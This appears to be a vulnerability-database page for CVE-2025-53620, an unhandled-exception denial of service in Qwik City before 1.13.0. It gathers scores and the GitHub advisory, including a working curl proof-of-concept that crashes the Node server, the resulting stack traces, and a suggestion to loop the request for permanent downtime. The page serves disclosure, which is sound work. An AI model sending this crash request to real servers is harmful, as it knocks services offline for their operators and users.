CVE-2025-53620

Crashing any Qwik Server

9.2 CriticalFix available

@builder.io/qwik-city is the meta-framework for Qwik. When a Qwik Server Action QRL is executed it dynamically load the file containing the symbol. When an invalid qfunc is sent, the server does not handle the thrown error. The error then causes Node JS to exit. This vulnerability is fixed in 1.13.0.

Attack profile

How easy it is to exploit

Attack vector: Network
Complexity: Low
Privileges needed: None
User interaction: None

What an attacker can affect

Confidentiality: None
Integrity: None
Availability: High

Exploit likelihood

0.36%Up 0.3 points since Jul 10, 2025

What each source reports

CVE List Score used 9.2

Crashing any Qwik Server

Record: CVE-2025-53620
CVSS 4.0: 9.2 CriticalCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H
Weakness: CWE-248
Updated: 2026-11-02

EUVDEUVD-2025-20869 9.2

Record: EUVD-2025-20869
CVSS 4.0: 9.2 CriticalCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H
Updated: 2026-11-02

GitHub AdvisoriesGHSA-qr9h-j6xg-2j72 9.2

Qwik's unhandled exception vulnerabilty can cause server crashes from malicious requests

Summary

Possibility to craft a request that will crash the Qwik Server in the default configuration.

Details

When a Qwik Server Action QRL is executed it dynamically load the file containing the symbol. When an invalid qfunc is sent, the server does not handle the thrown error. The error then causes Node JS to exit.

PoC

Setup a Qwik Project pnpm create qwik@latest
Start the Qwik Server using pnpm run preview
Execute the following curl command to crash the instance

curl --location 'http://localhost:4173/?qfunc=PPXYallGsCE' \
--header 'Content-Type: application/qwik-json' \
--header 'X-Qrl: PPXYallGsCE' \
--data '{"_entry":"2","_objs":["\u0002_#s_PPXYallGsCE",1,["0","1"]]}'

Here the qfunc query parameter, X-Qrl header and payload need to have the same qrl.

The Qwik Server will then crash with the message

qrl s_PPXYallGsCE failed to load Error: Dynamic require of "_.js" is not supported
    at file:///home/michele/Code/qwik/server/entry.preview.js:32:199
    at Object.importSymbol (file:///home/michele/Code/qwik/server/entry.preview.js:32:776)
    at $ (file:///home/michele/Code/qwik/server/entry.preview.js:26:3064)
    at d (file:///home/michele/Code/qwik/server/entry.preview.js:26:3274)
    at file:///home/michele/Code/qwik/server/entry.preview.js:26:3311
    at Object.a (file:///home/michele/Code/qwik/server/entry.preview.js:26:2566)
    at oc (file:///home/michele/Code/qwik/server/entry.preview.js:16:1562)
    at process.processTicksAndRejections (node:internal/process/task_queues:95:5)
    at async Object.m [as next] (file:///home/michele/Code/qwik/server/entry.preview.js:15:7000)
    at async Ls (file:///home/michele/Code/qwik/server/entry.preview.js:15:5559)
node:internal/process/promises:289
            triggerUncaughtException(err, true /* fromPromise */);
            ^

Error: Dynamic require of "_.js" is not supported
    at file:///home/michele/Code/qwik/server/entry.preview.js:32:199
    at Object.importSymbol (file:///home/michele/Code/qwik/server/entry.preview.js:32:776)
    at $ (file:///home/michele/Code/qwik/server/entry.preview.js:26:3064)
    at d (file:///home/michele/Code/qwik/server/entry.preview.js:26:3274)
    at file:///home/michele/Code/qwik/server/entry.preview.js:26:3311
    at Object.a (file:///home/michele/Code/qwik/server/entry.preview.js:26:2566)
    at oc (file:///home/michele/Code/qwik/server/entry.preview.js:16:1562)
    at process.processTicksAndRejections (node:internal/process/task_queues:95:5)
    at async Object.m [as next] (file:///home/michele/Code/qwik/server/entry.preview.js:15:7000)
    at async Ls (file:///home/michele/Code/qwik/server/entry.preview.js:15:5559)

Node.js v21.7.2

The same can also be repeated running Qwik in production using express.

Setup a Qwik Project pnpm create qwik@latest
Install the express middleware pnpm run qwik add express
Build the qwik app using pnpm run build
Start the server using pnpm run serve
Execute the following curl command to crash the instance

curl --location 'http://localhost:3000/?qfunc=PPXYallGsCE' \
--header 'Content-Type: application/qwik-json' \
--header 'X-Qrl: PPXYallGsCE' \
--data '{"_entry":"2","_objs":["\u0002_#s_PPXYallGsCE",1,["0","1"]]}'

Impact

Any Qwik Server instance running the default configuration can be crashed. Using a simple loop to send this HTTP request will cause permanent down time of the service as it takes a few seconds for an instance to restart.

There is also the issue that this can happen without a malicious attacker. When a Qwik Application is deployed through a CDN and an old instance is still loaded on some Client, like through an inactive Tab. Once that user returns to the old Version and performs an action that runs a removed qfunc the server will crash.

Record: GHSA-qr9h-j6xg-2j72
CVSS 4.0: 9.2 CriticalCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H
Weakness: CWE-248
Updated: 2026-11-02

NVD 9.2

Record: CVE-2025-53620
CVSS 4.0: 9.2 CriticalCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Weakness: CWE-248
Updated: 2026-11-02

OSV 9.2

Crashing any Qwik Server

Record: CVE-2025-53620
CVSS 4.0: 9.2 CriticalCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H
Weakness: CWE-248
Updated: 2026-11-02

OSVGHSA-qr9h-j6xg-2j72 9.2

Qwik's unhandled exception vulnerabilty can cause server crashes from malicious requests

Summary

Possibility to craft a request that will crash the Qwik Server in the default configuration.

Details

PoC

Setup a Qwik Project pnpm create qwik@latest
Start the Qwik Server using pnpm run preview
Execute the following curl command to crash the instance

curl --location 'http://localhost:4173/?qfunc=PPXYallGsCE' \
--header 'Content-Type: application/qwik-json' \
--header 'X-Qrl: PPXYallGsCE' \
--data '{"_entry":"2","_objs":["\u0002_#s_PPXYallGsCE",1,["0","1"]]}'

Here the qfunc query parameter, X-Qrl header and payload need to have the same qrl.

The Qwik Server will then crash with the message

qrl s_PPXYallGsCE failed to load Error: Dynamic require of "_.js" is not supported
    at file:///home/michele/Code/qwik/server/entry.preview.js:32:199
    at Object.importSymbol (file:///home/michele/Code/qwik/server/entry.preview.js:32:776)
    at $ (file:///home/michele/Code/qwik/server/entry.preview.js:26:3064)
    at d (file:///home/michele/Code/qwik/server/entry.preview.js:26:3274)
    at file:///home/michele/Code/qwik/server/entry.preview.js:26:3311
    at Object.a (file:///home/michele/Code/qwik/server/entry.preview.js:26:2566)
    at oc (file:///home/michele/Code/qwik/server/entry.preview.js:16:1562)
    at process.processTicksAndRejections (node:internal/process/task_queues:95:5)
    at async Object.m [as next] (file:///home/michele/Code/qwik/server/entry.preview.js:15:7000)
    at async Ls (file:///home/michele/Code/qwik/server/entry.preview.js:15:5559)
node:internal/process/promises:289
            triggerUncaughtException(err, true /* fromPromise */);
            ^

Error: Dynamic require of "_.js" is not supported
    at file:///home/michele/Code/qwik/server/entry.preview.js:32:199
    at Object.importSymbol (file:///home/michele/Code/qwik/server/entry.preview.js:32:776)
    at $ (file:///home/michele/Code/qwik/server/entry.preview.js:26:3064)
    at d (file:///home/michele/Code/qwik/server/entry.preview.js:26:3274)
    at file:///home/michele/Code/qwik/server/entry.preview.js:26:3311
    at Object.a (file:///home/michele/Code/qwik/server/entry.preview.js:26:2566)
    at oc (file:///home/michele/Code/qwik/server/entry.preview.js:16:1562)
    at process.processTicksAndRejections (node:internal/process/task_queues:95:5)
    at async Object.m [as next] (file:///home/michele/Code/qwik/server/entry.preview.js:15:7000)
    at async Ls (file:///home/michele/Code/qwik/server/entry.preview.js:15:5559)

Node.js v21.7.2

The same can also be repeated running Qwik in production using express.

Setup a Qwik Project pnpm create qwik@latest
Install the express middleware pnpm run qwik add express
Build the qwik app using pnpm run build
Start the server using pnpm run serve
Execute the following curl command to crash the instance

curl --location 'http://localhost:3000/?qfunc=PPXYallGsCE' \
--header 'Content-Type: application/qwik-json' \
--header 'X-Qrl: PPXYallGsCE' \
--data '{"_entry":"2","_objs":["\u0002_#s_PPXYallGsCE",1,["0","1"]]}'

Impact

Record: GHSA-qr9h-j6xg-2j72
CVSS 4.0: 9.2 CriticalCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H
Weakness: CWE-248
Updated: 2026-11-02

Affected products

qwikdev qwik

Affected packages

Affected packages
Package	Affected	Fixed
`@builder.io/qwik-city` npm	before 1.13.0	1.13.0

History

History
Recorded	Changed	Sources
Nov 2, 2026	first indexed	CVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2025-53620 is a critical vulnerability (CVSS 9.2) in Qwikdev Qwik, published July 9, 2025. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.36%, the 29th percentile. Fixed in @builder.io/qwik-city 1.13.0.

Attack profile

How easy it is to exploit

What an attacker can affect

Exploit likelihood

What each source reports

Summary

Details

PoC

Impact

Summary

Details

PoC

Impact

Affected products

Affected packages

History

In short

References